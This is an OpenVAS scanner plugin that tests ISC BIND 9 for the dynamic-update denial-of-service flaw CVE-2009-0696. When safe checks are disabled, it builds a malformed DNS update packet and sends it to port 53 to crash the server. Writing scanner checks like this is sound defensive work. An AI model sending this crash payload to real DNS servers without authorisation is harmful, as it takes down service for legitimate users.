###############################################################################
# OpenVAS Vulnerability Test
# $Id: bind_cve_2009_0696.nasl 7197 2010-04-01 09:20:01Z chandra $
#
# ISC BIND 9 Remote Dynamic Update Message Denial of Service Vulnerability
#
# Authors:
# Michael Meyer
#
# Copyright:
# Copyright (c) 2009 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

desc = "

Overview:
ISC BIND is prone to a remote denial-of-service vulnerability because
the application fails to properly handle specially crafted dynamic
update requests.

Successfully exploiting this issue allows remote attackers to crash
affected DNS servers, denying further service to legitimate users.

Versions prior to BIND 9.4.3-P3, 9.5.1-P3, and 9.6.1-P1 are
vulnerable.


Solution:
The vendor released an advisory and fixes to address this issue.
Please see the references for more information.


References:
http://www.securityfocus.com/bid/35848
https://bugzilla.redhat.com/show_bug.cgi?id=514292
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=538975
http://www.isc.org/products/BIND/
https://www.isc.org/node/474
http://www.kb.cert.org/vuls/id/725188


Risk factor : Medium";

if (description)
{
 script_id(100251);
 script_bugtraq_id(35848);
 script_cve_id("CVE-2009-0696");
 script_version ("1.1");
 script_tag(name:"cvss_base", value:"4.3");
 script_tag(name:"risk_factor", value:"Medium");

 script_name("ISC BIND 9 Remote Dynamic Update Message Denial of Service Vulnerability");

 script_description(desc);
 script_summary("Determine if ISC BIND is prone to a remote denial-of-service vulnerability");
 script_category(ACT_DENIAL);
 script_family("Denial of Service");
 script_copyright("This script is Copyright (C) 2009 Greenbone Networks GmbH");
 script_dependencies("find_service.nes","dns_server.nasl","bind_version.nasl");
 exit(0);
}

include("misc_func.inc");
include("version_func.inc");

if(!get_kb_item("DNS/tcp/53"))exit(0);
version = get_kb_item("bind/version");

if(version) {
  version = str_replace(find:"-", string: version, replace:"."); # modify for version check.
}    

function build_pkt(zone) {

    foreach zone_part (split(zone, sep:".", keep:FALSE)) {
            zone_data += raw_string(strlen(zone_part)) + zone_part;
    }
    
    rrset  = raw_string(0x01) + int(1) + raw_string(0xc0,0x0c); 
    len    = (strlen(zone_data+1)+strlen(rrset)+12);
    
    pkt_data =

      raw_string(0xa7,0x5e,0x28,0x00,0x00,0x01,
                 0x00,0x01,0x00,0x01,0x00,0x00
                 ) +

                 zone_data +

      raw_string(0x00,0x00,0x06,0x00,0x01) +

                 rrset +

      raw_string(0x00,0xff,0x00,0x01,0x00,0x00,
                 0x00,0x00,0x00,0x00,0xc0,len,
                 0x00,0xff,0x00,0xff,0x00,0x00,
                 0x00,0x00,0x00,0x00);

    return pkt_data;
}

if(safe_checks()) {

 if(!version)exit(0);

  if(version_in_range(version:version, test_version:"9.6", test_version2:"9.6.1") ||
     version_in_range(version:version, test_version:"9.5", test_version2:"9.5.1.P2") ||
     version_in_range(version:version, test_version:"9",   test_version2:"9.4.3.P2")) {

     info = string("Medium\n\n** OpenVAS only check the version number (from TXT record in the\nChaos class) because 'safe checks' are enabled.\n");
 
     desc = ereg_replace(
         string:desc,
         pattern:"Medium$",
         replace:info
     );

     security_warning(port:53,data:desc,proto:"udp");
     exit(0);   

  }

} else {

  if(get_udp_port_state(53))
   {
     soc = open_sock_udp(53);
     if (!soc) exit(0);

       ZONES = make_list("0.0.127.in-addr.arpa","127.in-addr.arpa","0.0.0.127.in-addr.arpa","127.0.0.in-addr.arpa");

       foreach zone (ZONES) {

	  data = build_pkt(zone);

          send(socket:soc, data:data);
          buf = recv(socket:soc, length:4096);
          if(buf == 0) {

              info = string("Medium\n\n** It seems that OpenVAS was able to crash the remote Bind.\nPlease check its status right now.\n");

              desc = ereg_replace(
                string:desc,
                pattern:"Medium$",
                replace:info
              );

              security_warning(port:53,data:desc,proto:"udp");
              close(soc);          
              exit(0);
        }

      }	  
      close(soc);
      # exploit failed. Check version anyway.
      if(version) {
         if(version_in_range(version:version, test_version:"9.6", test_version2:"9.6.1") ||
            version_in_range(version:version, test_version:"9.5", test_version2:"9.5.1.P2") ||
            version_in_range(version:version, test_version:"9",   test_version2:"9.4.3.P2")) {

            info = string("Medium\n\n** It seems that OpenVAS was not able to crash the remote Bind.\nAccording to its version number the remote version of BIND is\nanyway vulnerable.\nPlease check its status right now.\n"); 

            desc = ereg_replace(
             string:desc,
             pattern:"Medium$",
             replace:info
           );
           
            security_warning(port:53,data:desc,proto:"udp");
            exit(0);
       }
    }
  } 
}

exit(0);
